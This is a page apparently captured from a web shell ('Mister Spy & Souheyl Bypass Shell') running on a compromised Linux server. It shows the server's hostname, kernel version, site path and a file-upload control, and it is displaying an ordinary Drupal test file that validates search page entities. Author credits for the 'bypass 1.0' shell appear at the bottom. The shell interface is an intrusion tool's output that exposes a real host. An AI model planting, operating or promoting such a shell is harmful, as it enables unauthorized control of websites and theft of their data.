Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor/web/core/modules/search/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor/web/core/modules/search/tests/src/Kernel/SearchPageValidationTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\search\Kernel;

use Drupal\KernelTests\Core\Config\ConfigEntityValidationTestBase;
use Drupal\search\Entity\SearchPage;
use Drupal\search\Plugin\Derivative\SearchLocalTask;
use Drupal\search\SearchPageRepository;

/**
 * Tests validation of search_page entities.
 *
 * @group search
 */
class SearchPageValidationTest extends ConfigEntityValidationTestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['search', 'user'];

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    $this->entity = SearchPage::create([
      'id' => 'test',
      'label' => 'Test',
      'plugin' => 'user_search',
    ]);
    $this->entity->save();
  }

  /**
   * Tests that the search plugin ID is validated.
   */
  public function testInvalidPluginId(): void {
    $this->entity->set('plugin', 'non_existent');
    $this->assertValidationErrors([
      'plugin' => "The 'non_existent' plugin does not exist.",
    ]);
  }

  /**
   * Test that the base route stored in definition is correct.
   */
  public function testBaseRouteIsValid(): void {
    $search_page_repository = new SearchPageRepository(\Drupal::configFactory(), \Drupal::entityTypeManager());
    $search_local_task = new SearchLocalTask($search_page_repository);
    $definitions = $search_local_task->getDerivativeDefinitions([]);
    $route_provider = \Drupal::service('router.route_provider');
    $base_route = $route_provider->getRouteByName($definitions['test']['base_route']);
    $this->assertSame($base_route, $route_provider->getRouteByName('search.view'));
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net